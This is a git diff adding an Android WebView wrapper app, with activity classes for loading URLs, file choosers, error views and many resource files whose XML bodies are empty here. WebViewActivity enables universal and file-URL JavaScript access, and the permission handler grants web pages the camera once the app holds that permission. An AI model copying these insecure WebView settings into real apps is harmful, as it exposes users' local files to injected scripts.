"/index")) && webView.canGoBack()) { + return false; + } else { + //其它的该怎么处理就怎么处理 + webView.loadUrl(url1); + return true; + } + + } + + return false; + } + }; + + + public void onShowErrorView(String errorMsg) { //网络不可用的情况 + webView.setVisibility(View.GONE); + layoutError.setVisibility(View.VISIBLE); + tvErrorMsg.setText(errorMsg); + showTopLy.setVisibility(View.GONE); + + getWindow().setNavigationBarColor(Color.parseColor("#FFFFFF")); + getWindow().getDecorView().setBackgroundColor(Color.parseColor("#FFFFFF")); + +// isNetError = true; + + } + + public void onShowNetView() { + // topVvvv.setVisibility(View.GONE); + webView.setVisibility(View.VISIBLE); + layoutError.setVisibility(View.GONE); + showTopLy.setVisibility(View.GONE); + getWindow().setNavigationBarColor(Color.parseColor("#FFFFFF")); + getWindow().getDecorView().setBackgroundColor(Color.parseColor("#FFFFFF")); +// isNetError = false; + } + + + boolean isAtGame = false; + // String uuid = "", uuid1 = ""; + private static final int REQUEST_CODE_FILE_CHOOSER = 1; + private ValueCallback mUploadCallbackForLowApi; + private ValueCallback mUploadCallbackForHighApi; + WebChromeClient webChromeClient = new WebChromeClient() { + + @Override + public boolean onConsoleMessage(ConsoleMessage consoleMessage) { +// if (consoleMessage.message().contains("POST_DATA:")) { + // 解析控制台输出的 POST 数据 +// String postData = consoleMessage.message().replace("POST_DATA:", ""); +// LogUtils.i("当前输入内容CONSOLE_POST", postData); +// } + return true; + } + + @Override + public boolean onCreateWindow(WebView webViewdd, boolean b, boolean b1, Message resultMsg) { + LogUtils.i("URL是啥onCreateWindow:" + webView.getUrl()); + + WebView newWebView = new WebView(webViewdd.getContext()); + newWebView.setWebViewClient(new WebViewClient() { + + @Override + public boolean shouldOverrideUrlLoading(WebView view, String url) { + + LogUtils.i("URL是啥新窗口:" + url); + + if (!(url.startsWith("http") || url.startsWith("https"))) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } else { + Intent browserIntent = new Intent(MainActivity2.this, WebViewActivity.class); + browserIntent.putExtra("url", url); + startActivity(browserIntent); + return true; + } + return false; + } + + + }); + WebView.WebViewTransport transport = (WebView.WebViewTransport) resultMsg.obj; + transport.setWebView(newWebView); + resultMsg.sendToTarget(); + return true; + } + + + @Override + public void onCloseWindow(WebView window) { + super.onCloseWindow(window); + LogUtils.i("URL是啥新窗口结束:" + url); + + } + + @Override + public void onProgressChanged(WebView view, int newProgress) { + super.onProgressChanged(view, newProgress); + // 更新进度条的进度 + progressBar.setProgress(newProgress); + // 如果加载完成,隐藏进度条 + if (newProgress == 100) { + progressBar.setVisibility(View.GONE); + } else { + progressBar.setVisibility(View.VISIBLE); + } + } + + + // @TargetApi(Build.VERSION_CODES.LOLLIPOP) + @Override + public boolean onShowFileChooser(WebView webView, ValueCallback filePathCallback, FileChooserParams fileChooserParams) { + LogUtils.i("数据接口:onShowFileChooser"); + mUploadCallbackForHighApi = filePathCallback; + Intent intent = fileChooserParams.createIntent(); + intent.addCategory(Intent.CATEGORY_OPENABLE); + startActivityForResult(Intent.createChooser(intent, "File chooser"), REQUEST_CODE_FILE_CHOOSER); + return true; + } + + // For 3.0+ + protected void openFileChooser(ValueCallback uploadMsg, String acceptType) { + LogUtils.i("数据接口:openFileChooseracceptType"); + openFilerChooser(uploadMsg); + } + + + private void openFilerChooser(ValueCallback uploadMsg) { + LogUtils.i("数据接口:openFileChooser"); + mUploadCallbackForLowApi = uploadMsg; + startActivityForResult(Intent.createChooser(getFilerChooserIntent(), "File Chooser"), REQUEST_CODE_FILE_CHOOSER); + } + + + private Intent getFilerChooserIntent() { + Intent intent = new Intent(Intent.ACTION_GET_CONTENT); + intent.addCategory(Intent.CATEGORY_OPENABLE); + return intent; + } + + + @Override + public void onPermissionRequest(PermissionRequest request) { + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) { + MainActivity2.this.runOnUiThread(() -> { + for (String permisson : request.getResources()) { + permissionRequest = request; + if (permisson.equals(PermissionRequest.RESOURCE_VIDEO_CAPTURE)) { + if (ContextCompat.checkSelfPermission(MainActivity2.this, Manifest.permission.CAMERA) != 0) { + ActivityCompat.requestPermissions(MainActivity2.this, PERMISSIONS_CAMERA, 1111); + } else { + request.grant(request.getResources()); + request.getOrigin(); + } + + } + } + }); + } + } + }; + + private PermissionRequest permissionRequest; + + + @RequiresApi(api = Build.VERSION_CODES.Q) + @Override + protected void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) { + super.onActivityResult(requestCode, resultCode, data); + switch (requestCode) { + case REQUEST_CODE_FILE_CHOOSER: + if (resultCode == RESULT_OK || resultCode == RESULT_CANCELED) { + afterFileChooseGoing(resultCode, data); + } + break; + + + } + } + + + /** + * onActivityResult方法 + */ + + private void afterFileChooseGoing(int resultCode, Intent data) { + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) { + if (mUploadCallbackForHighApi == null) { + return; + } + mUploadCallbackForHighApi.onReceiveValue(WebChromeClient.FileChooserParams.parseResult(resultCode, data)); + mUploadCallbackForHighApi = null; + } else { + if (mUploadCallbackForLowApi == null) { + return; + } + Uri result = data == null ? null : data.getData(); + mUploadCallbackForLowApi.onReceiveValue(result); + mUploadCallbackForLowApi = null; + } + } + + @Override + public void onRequestPermissionsResult(int requestCode, + String permissions[], int[] grantResults) { + if (grantResults.length == 0) { + return; + } + switch (requestCode) { + case REQUEST_EXTERNAL_STORAGE: + if (grantResults[0] == PackageManager.PERMISSION_GRANTED && grantResults[1] == PackageManager.PERMISSION_GRANTED) { + } + break; + case 1111: + if (grantResults[0] == PackageManager.PERMISSION_GRANTED && permissionRequest != null) { + permissionRequest.grant(permissionRequest.getResources()); + } + break; + case 2222: + if (grantResults[0] == PackageManager.PERMISSION_GRANTED) { +// readContact(); + } else { + + + } + break; + default: + break; + } + super.onRequestPermissionsResult(requestCode, permissions, grantResults); + } + + + @Override + public void onDestroy() { + + if (webView != null) { + //加载null内容 + webView.loadDataWithBaseURL(null, "", "text/html", "utf-8", null); + //清除历史记录 + webView.clearHistory(); + //移除WebView +// ((ViewGroup) webView.getParent()).removeView(webView); + //销毁VebView + webView.destroy(); + } + + super.onDestroy(); + } + + @Override + protected void onResume() { + super.onResume(); + } + + @Override + protected void onPause() { + super.onPause(); + + } + + + public static void saveInt(Context context, String key, int value) { + SharedPreferences sp = context.getSharedPreferences("InitApp", Activity.MODE_PRIVATE); + SharedPreferences.Editor editor = sp.edit(); + editor.putInt(key, value); + editor.apply(); + } + + public static int getInt(Context context, String key, int defValue) { + SharedPreferences sp = context.getSharedPreferences("InitApp", Activity.MODE_PRIVATE); + return sp.getInt(key, defValue); + } + + Handler mainHandler = new Handler(Looper.getMainLooper()); + + public boolean isApplicationBroughtToBackground(final Context context) { + ActivityManager am = (ActivityManager) context.getSystemService(Context.ACTIVITY_SERVICE); + List tasks = am.getRunningTasks(1); + if (!tasks.isEmpty()) { + ComponentName topActivity = tasks.get(0).topActivity; + if (!topActivity.getPackageName().equals(context.getPackageName())) { + return true; + } + } + return false; + } + +} diff --git a/heygirl/src/main/java/com/hey/girl/StatusLayout.java b/heygirl/src/main/java/com/hey/girl/StatusLayout.java new file mode 100644 index 0000000..18162f0 --- /dev/null +++ b/heygirl/src/main/java/com/hey/girl/StatusLayout.java @@ -0,0 +1,44 @@ +package com.hey.girl; + +import android.content.Context; +import android.util.AttributeSet; +import android.view.ViewGroup; +import android.widget.LinearLayout; + +import androidx.annotation.Nullable; + +/** + * Created by kiun_2007 on 2018/3/29. + */ + +public class StatusLayout extends LinearLayout { + public StatusLayout(Context context) { + this(context, null); + } + + public StatusLayout(Context context, @Nullable AttributeSet attrs) { + this(context, attrs, 0); + } + + public StatusLayout(Context context, @Nullable AttributeSet attrs, int defStyleAttr) { + super(context, attrs, defStyleAttr); + } + + private int getStatusBarHeight(Context context) { + int result = 0; + int resourceId = context.getResources().getIdentifier("status_bar_height", "dimen", "android"); + if (resourceId > 0) { + result = context.getResources().getDimensionPixelSize(resourceId); + } + return result; + } + + @Override + protected void onAttachedToWindow() { + ViewGroup.LayoutParams lp = this.getLayoutParams(); + lp.width = -1; + lp.height = getStatusBarHeight(getContext()); + this.setLayoutParams(lp); + super.onAttachedToWindow(); + } +} diff --git a/heygirl/src/main/java/com/hey/girl/WebApplication.java b/heygirl/src/main/java/com/hey/girl/WebApplication.java new file mode 100644 index 0000000..d575d3c --- /dev/null +++ b/heygirl/src/main/java/com/hey/girl/WebApplication.java @@ -0,0 +1,18 @@ +package com.hey.girl; + +import android.app.Application; +import android.content.Context; + +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + } +} diff --git a/heygirl/src/main/java/com/hey/girl/WebViewActivity.java b/heygirl/src/main/java/com/hey/girl/WebViewActivity.java new file mode 100644 index 0000000..8abe358 --- /dev/null +++ b/heygirl/src/main/java/com/hey/girl/WebViewActivity.java @@ -0,0 +1,450 @@ +package com.hey.girl; + + +import android.content.Intent; +import android.graphics.Bitmap; +import android.net.Uri; +import android.os.Build; +import android.os.Bundle; +import android.os.Message; +import android.view.MotionEvent; +import android.view.View; +import android.view.WindowManager; +import android.webkit.ValueCallback; +import android.webkit.WebChromeClient; +import android.webkit.WebResourceError; +import android.webkit.WebResourceRequest; +import android.webkit.WebSettings; +import android.webkit.WebView; +import android.webkit.WebViewClient; +import android.widget.FrameLayout; +import android.widget.ImageView; +import android.widget.LinearLayout; +import android.widget.ProgressBar; +import android.widget.TextView; +import android.widget.Toast; + +import androidx.annotation.Nullable; +import androidx.annotation.RequiresApi; +import androidx.appcompat.app.ActionBar; +import androidx.appcompat.app.AppCompatActivity; + + + +public class WebViewActivity extends AppCompatActivity { + + private String url; + WebView webView; + TextView tvErrorMsg; + LinearLayout layoutError; + ImageView show_top_v; + ImageView menu_iv; + private ImageView helpIv; + private LinearLayout showTopLy; + private FrameLayout videoContainer; + private ImageView backIv; + private ProgressBar progressBar; + private View topVvvv; + + + @Override + protected void onCreate(@Nullable Bundle savedInstanceState) { + getWindow().setNavigationBarColor(getColor(R.color.white)); + getWindow().getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_FULLSCREEN | View.SYSTEM_UI_FLAG_LAYOUT_STABLE); + + super.onCreate(savedInstanceState); + View decor = getWindow().getDecorView(); + getWindow().setFlags(WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED, WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED); + decor.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR); + ActionBar actionBar = getSupportActionBar(); + if (actionBar != null) { + actionBar.hide(); + } + setContentView(R.layout.activity_main2); + findViewById(R.id.back_iv).setOnClickListener(view -> finish()); + url = getIntent().getStringExtra("url"); + initView(); + } + + private ValueCallback mUploadCallbackForHighApi; + + public void initView() { + topVvvv = (View) findViewById(R.id.top_vvvv); + webView = findViewById(R.id.webview); + show_top_v = findViewById(R.id.show_top_v); + showTopLy = findViewById(R.id.show_top_ly); + tvErrorMsg = findViewById(R.id.errormsg); + layoutError = findViewById(R.id.layoutError); + videoContainer = (FrameLayout) findViewById(R.id.videoContainer); + backIv = (ImageView) findViewById(R.id.back_iv); + progressBar = (ProgressBar) findViewById(R.id.progressbar); + WebSettings settings = webView.getSettings(); + settings.setDomStorageEnabled(true); + settings.setAppCacheEnabled(true); + settings.setCacheMode(WebSettings.LOAD_DEFAULT); + settings.setJavaScriptEnabled(true); + settings.setLoadWithOverviewMode(true); + // 设置允许访问文件数据 + settings.setAllowFileAccess(true); + settings.setAllowContentAccess(true); + settings.setDatabaseEnabled(true); + settings.setSavePassword(false); + settings.setSaveFormData(false); + settings.setUseWideViewPort(true); + settings.setBuiltInZoomControls(true); + settings.setPluginState(WebSettings.PluginState.ON); + settings.setLayoutAlgorithm(WebSettings.LayoutAlgorithm.NARROW_COLUMNS); + webView.setFocusable(true); + webView.setFocusableInTouchMode(true); + webView.getSettings().setSupportMultipleWindows(true); + + settings.setSupportZoom(false); + webView.setScrollBarStyle(WebView.SCROLLBARS_OUTSIDE_OVERLAY); +// webView.setHorizontalScrollbarOverlay(true); + webView.setHorizontalScrollBarEnabled(true); + webView.requestFocus(); +// webView.setBackgroundColor(getColor(R.color.black)); + settings.setJavaScriptCanOpenWindowsAutomatically(false); + + // 设置在WebView内部是否允许通过file url加载的 Js代码读取其他的本地文件 + // Android 4.1前默认允许,4.1后默认禁止 + settings.setAllowFileAccessFromFileURLs(true); + // 设置WebView内部是否允许通过 file url 加载的 Javascript 可以访问其他的源(包括http、https等源) + // Android 4.1前默认允许,4.1后默认禁止 + settings.setAllowUniversalAccessFromFileURLs(true); + +// settings.setBuiltInZoomControls(false); // 启用缩放功能 +// settings.setDisplayZoomControls(false); // 隐藏缩放控件 + + + webView.setWebChromeClient(new WebChromeClient() { + @Override + public boolean onCreateWindow(WebView view, boolean isDialog, boolean isUserGesture, Message resultMsg) { + + WebView newWebView = new WebView(WebViewActivity.this); + topVvvv.setVisibility(View.VISIBLE); + webView.addView(newWebView); + WebView.WebViewTransport transport = (WebView.WebViewTransport) resultMsg.obj; + transport.setWebView(newWebView); + resultMsg.sendToTarget(); + + newWebView.setWebViewClient(new WebViewClient() { + @Override + public boolean shouldOverrideUrlLoading(WebView view, String url) { +// isAtGame = true; + progressBar.setVisibility(View.GONE); + webView.loadUrl(url); + return true; + } + }); + + // WebView newWebView = new WebView(view.getContext()); +// newWebView.setWebViewClient(new WebViewClient() { +// @Override +// public boolean shouldOverrideUrlLoading(WebView view, String url) { +// Intent browserIntent = new Intent(WebViewActivity.this, WebViewActivity.class); +// browserIntent.putExtra("url", url); +// startActivity(browserIntent); +// return true; +// } +// }); +// WebView.WebViewTransport transport = (WebView.WebViewTransport) resultMsg.obj; +// transport.setWebView(newWebView); +// resultMsg.sendToTarget(); +// return true; + return true; + } + + + // @TargetApi(Build.VERSION_CODES.LOLLIPOP) + @Override + public boolean onShowFileChooser(WebView webView, ValueCallback filePathCallback, FileChooserParams fileChooserParams) { + LogUtils.i("数据接口:onShowFileChooser"); + mUploadCallbackForHighApi = filePathCallback; + Intent intent = fileChooserParams.createIntent(); + intent.addCategory(Intent.CATEGORY_OPENABLE); + startActivityForResult(Intent.createChooser(intent, "File chooser"), REQUEST_CODE_FILE_CHOOSER); + return true; + } + + // For 3.0+ + protected void openFileChooser(ValueCallback uploadMsg, String acceptType) { + LogUtils.i("数据接口:openFileChooseracceptType"); + openFilerChooser(uploadMsg); + } + + + private void openFilerChooser(ValueCallback uploadMsg) { + LogUtils.i("数据接口:openFileChooser"); + mUploadCallbackForLowApi = uploadMsg; + startActivityForResult(Intent.createChooser(getFilerChooserIntent(), "File Chooser"), REQUEST_CODE_FILE_CHOOSER); + } + + + + }); + webView.setWebViewClient(new WebViewClient() { + + + @Override + public void onPageFinished(WebView view, String url) { + super.onPageFinished(view, url); + showTopLy.setVisibility(View.GONE); + progressBar.setVisibility(View.GONE); + topVvvv.setVisibility(View.VISIBLE); + + } + + @Override + public void onPageStarted(WebView view, String url, Bitmap favicon) { + super.onPageStarted(view, url, favicon); + progressBar.setVisibility(View.VISIBLE); + topVvvv.setVisibility(View.VISIBLE); + } + + @Override + public void onReceivedError(WebView view, WebResourceRequest request, WebResourceError error) { + super.onReceivedError(view, request, error); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) { + int errorCode = error.getErrorCode(); + String errorMessage = error.getDescription().toString(); + String currentUrl = request.getUrl().toString(); + LogUtils.d("onReceivedError2 url==" + url + " errorCode ==" + errorCode); + if ((errorCode == -2 || errorCode == -6) && currentUrl.contains(url)) { + onShowErrorView(errorMessage); + } else { + onShowNetView(); + } + } + progressBar.setVisibility(View.GONE); + } + + @Override + public void onReceivedError(WebView view, int errorCode, String description, String failingUrl) { + super.onReceivedError(view, errorCode, description, failingUrl); + if (Build.VERSION.SDK_INT < Build.VERSION_CODES.M) { + LogUtils.d("onReceivedError2 url==" + failingUrl + " errorCode ==" + errorCode); + if ((errorCode == -2 || errorCode == -6) && failingUrl.contains(url)) { + onShowErrorView(description); + } else { + onShowNetView(); + } + } + progressBar.setVisibility(View.GONE); + + } + + + @Override + public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) { + + Uri uri; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) { + uri = request.getUrl(); + } else { + uri = Uri.parse(request.toString()); + } + String url1 = uri.toString(); + LogUtils.d("url1111111111==" + url1); + if (url1.equals(url + "index") || url1.equals(url + "/index")) { + topVvvv.setVisibility(View.GONE); + } else { + progressBar.setVisibility(View.VISIBLE); + } + + if (!(url1.startsWith("http") || url1.startsWith("https"))) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url1)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } else { + + if ((url1.equals(url + "index") || url1.equals(url + "/index")) && webView.canGoBack()) { + return false; + } else { + if (url1.contains(".apk")) { //下载 + Toast.makeText(WebViewActivity.this, "下载开始,请稍后...", Toast.LENGTH_SHORT).show(); +// Constants.isUpdate = false; +// new AppUpdater(WebViewActivity.this, url1).start(); + return false; + } + //其它的该怎么处理就怎么处理 + LogUtils.d("url1111111111==2" + url1); + webView.loadUrl(url1); + return true; + } + + } + return false; + } + + + @Override + public boolean shouldOverrideUrlLoading(WebView view, String url1) { + if (url1.equals(url + "index") || url1.equals(url + "/index")) { + topVvvv.setVisibility(View.GONE); + } else { + progressBar.setVisibility(View.VISIBLE); + } + + if (!(url1.startsWith("http") || url1.startsWith("https"))) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url1)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } else { + + if ((url1.equals(url + "index") || url1.equals(url + "/index")) && webView.canGoBack()) { + return false; + } else { + if (url1.contains(".apk")) { //下载 +// new AppUpdater(WebViewActivity.this, url1).start(); + return false; + } + //其它的该怎么处理就怎么处理 + webView.loadUrl(url1); + return false; + } + + } + + return false; + } + + + }); + webView.setOnGenericMotionListener(new View.OnGenericMotionListener() { + @Override + public boolean onGenericMotion(View view, MotionEvent motionEvent) { + return false; + } + }); + +// webView.setOnTouchListener(new View.OnTouchListener() { +// @Override +// public boolean onTouch(View view, MotionEvent motionEvent) { +// if (motionEvent.getAction() == MotionEvent.ACTION_DOWN) { +// webView.loadUrl("javascript:_IntervalResize(+\" + view + \",false)"); +// return true; +// } else { +// return false; +// } +// } +// }); + +// webView.onWindowFocusChanged(true); +// webView.setOnFocusChangeListener(new View.OnFocusChangeListener() { +// @Override +// public void onFocusChange(View view, boolean b) { +// LogUtils.d("B==" + b); +// view.invalidate(); +// } +// }); + if (url != null) { + webView.loadUrl(url); + } + } + + + @RequiresApi(api = Build.VERSION_CODES.Q) + @Override + protected void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) { + super.onActivityResult(requestCode, resultCode, data); + switch (requestCode) { + case REQUEST_CODE_FILE_CHOOSER: + if (resultCode == RESULT_OK || resultCode == RESULT_CANCELED) { + afterFileChooseGoing(resultCode, data); + } + break; + + + } + } + + + /** + * onActivityResult方法 + */ + + private void afterFileChooseGoing(int resultCode, Intent data) { + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) { + if (mUploadCallbackForHighApi == null) { + return; + } + mUploadCallbackForHighApi.onReceiveValue(WebChromeClient.FileChooserParams.parseResult(resultCode, data)); + mUploadCallbackForHighApi = null; + } else { + if (mUploadCallbackForLowApi == null) { + return; + } + Uri result = data == null ? null : data.getData(); + mUploadCallbackForLowApi.onReceiveValue(result); + mUploadCallbackForLowApi = null; + } + } + + private Intent getFilerChooserIntent() { + Intent intent = new Intent(Intent.ACTION_GET_CONTENT); + intent.addCategory(Intent.CATEGORY_OPENABLE); + return intent; + } + + + private static final int REQUEST_CODE_FILE_CHOOSER = 1; + private ValueCallback mUploadCallbackForLowApi; + private boolean isNetError = false; + + public void onShowErrorView(String errorMsg) { //网络不可用的情况 + topVvvv.setVisibility(View.VISIBLE); + webView.setVisibility(View.GONE); + layoutError.setVisibility(View.VISIBLE); + tvErrorMsg.setText(errorMsg); + showTopLy.setVisibility(View.GONE); + isNetError = true; + + } + + public void onShowNetView() { + topVvvv.setVisibility(View.VISIBLE); + webView.setVisibility(View.VISIBLE); + layoutError.setVisibility(View.GONE); + showTopLy.setVisibility(View.GONE); + isNetError = false; + } + + + @Override + public void onBackPressed() { + if (webView.canGoBack()) {//当webview有多级能返回的时候 + onShowNetView(); + webView.goBack(); + } else {//不能返回了 + WebViewActivity.this.finish(); + } + } + + @Override + protected void onDestroy() { + if (webView != null) { + //加载null内容 + // webView.loadDataWithBaseURL(null, "", "text/html", "utf-8", null); + //清除历史记录 + // webView.clearHistory(); + //移除WebView +// ((ViewGroup) webView.getParent()).removeView(webView); + //销毁VebView + webView.destroy(); + } + super.onDestroy(); + } +} diff --git a/heygirl/src/main/res/drawable-anydpi/ic_action_back.xml b/heygirl/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/heygirl/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/heygirl/src/main/res/drawable-hdpi/ic_action_back.png b/heygirl/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/heygirl/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/heygirl/src/main/res/drawable-mdpi/ic_action_back.png b/heygirl/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/heygirl/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/heygirl/src/main/res/drawable-v24/ic_launcher_foreground.xml b/heygirl/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/heygirl/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/heygirl/src/main/res/drawable-xhdpi/ic_action_back.png b/heygirl/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/heygirl/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/heygirl/src/main/res/drawable-xxhdpi/ic_action_back.png b/heygirl/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/heygirl/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/heygirl/src/main/res/drawable/ic_launcher_background.xml b/heygirl/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/heygirl/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/heygirl/src/main/res/drawable/input_bg.xml b/heygirl/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/heygirl/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/heygirl/src/main/res/drawable/pass_word_bg.xml b/heygirl/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/heygirl/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/heygirl/src/main/res/drawable/pass_word_bg1.xml b/heygirl/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..83b8c14 --- /dev/null +++ b/heygirl/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/heygirl/src/main/res/drawable/pass_word_bg2.xml b/heygirl/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/heygirl/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/heygirl/src/main/res/drawable/shape_btn_bg.xml b/heygirl/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/heygirl/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/heygirl/src/main/res/drawable/shape_dialog_bg2.xml b/heygirl/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/heygirl/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/heygirl/src/main/res/drawable/shape_dialog_bg3.xml b/heygirl/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/heygirl/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/heygirl/src/main/res/drawable/shape_dialog_bg_new.xml b/heygirl/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/heygirl/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/heygirl/src/main/res/drawable/shape_notify_typebg.xml b/heygirl/src/main/res/drawable/shape_notify_typebg.xml new file mode 100644 index 0000000..3da849f --- /dev/null +++ b/heygirl/src/main/res/drawable/shape_notify_typebg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/heygirl/src/main/res/drawable/splash_bg.xml b/heygirl/src/main/res/drawable/splash_bg.xml new file mode 100644 index 0000000..15fdea3 --- /dev/null +++ b/heygirl/src/main/res/drawable/splash_bg.xml @@ -0,0 +1,24 @@ + + + + + + + + + + + + + + + + + + + diff --git a/heygirl/src/main/res/layout/activity_main.xml b/heygirl/src/main/res/layout/activity_main.xml new file mode 100644 index 0000000..48eacca --- /dev/null +++ b/heygirl/src/main/res/layout/activity_main.xml @@ -0,0 +1,351 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/heygirl/src/main/res/layout/activity_main2.xml b/heygirl/src/main/res/layout/activity_main2.xml new file mode 100644 index 0000000..494cbb9 --- /dev/null +++ b/heygirl/src/main/res/layout/activity_main2.xml @@ -0,0 +1,116 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/heygirl/src/main/res/layout/activity_main3.xml b/heygirl/src/main/res/layout/activity_main3.xml new file mode 100644 index 0000000..46b78c1 --- /dev/null +++ b/heygirl/src/main/res/layout/activity_main3.xml @@ -0,0 +1,108 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/heygirl/src/main/res/layout/activity_notifydetails.xml b/heygirl/src/main/res/layout/activity_notifydetails.xml new file mode 100644 index 0000000..5b4b83f --- /dev/null +++ b/heygirl/src/main/res/layout/activity_notifydetails.xml @@ -0,0 +1,95 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/heygirl/src/main/res/layout/activity_notifylist.xml b/heygirl/src/main/res/layout/activity_notifylist.xml new file mode 100644 index 0000000..fe0904a --- /dev/null +++ b/heygirl/src/main/res/layout/activity_notifylist.xml @@ -0,0 +1,44 @@ + + + + + + + + + + + + + + + + diff --git a/heygirl/src/main/res/layout/activity_start.xml b/heygirl/src/main/res/layout/activity_start.xml new file mode 100644 index 0000000..ad49056 --- /dev/null +++ b/heygirl/src/main/res/layout/activity_start.xml @@ -0,0 +1,294 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/heygirl/src/main/res/layout/activity_webview.xml b/heygirl/src/main/res/layout/activity_webview.xml new file mode 100644 index 0000000..db5fce1 --- /dev/null +++ b/heygirl/src/main/res/layout/activity_webview.xml @@ -0,0 +1,108 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/heygirl/src/main/res/layout/dialog_action_bankinfo.xml b/heygirl/src/main/res/layout/dialog_action_bankinfo.xml new file mode 100644 index 0000000..437c064 --- /dev/null +++ b/heygirl/src/main/res/layout/dialog_action_bankinfo.xml @@ -0,0 +1,228 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/heygirl/src/main/res/layout/dialog_action_confirm.xml b/heygirl/src/main/res/layout/dialog_action_confirm.xml new file mode 100644 index 0000000..1c67709 --- /dev/null +++ b/heygirl/src/main/res/layout/dialog_action_confirm.xml @@ -0,0 +1,71 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/heygirl/src/main/res/layout/dialog_action_invite.xml b/heygirl/src/main/res/layout/dialog_action_invite.xml new file mode 100644 index 0000000..9fd65ee --- /dev/null +++ b/heygirl/src/main/res/layout/dialog_action_invite.xml @@ -0,0 +1,89 @@ + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/heygirl/src/main/res/layout/dialog_action_invite_records.xml b/heygirl/src/main/res/layout/dialog_action_invite_records.xml new file mode 100644 index 0000000..f770481 --- /dev/null +++ b/heygirl/src/main/res/layout/dialog_action_invite_records.xml @@ -0,0 +1,105 @@ + + + + + + + 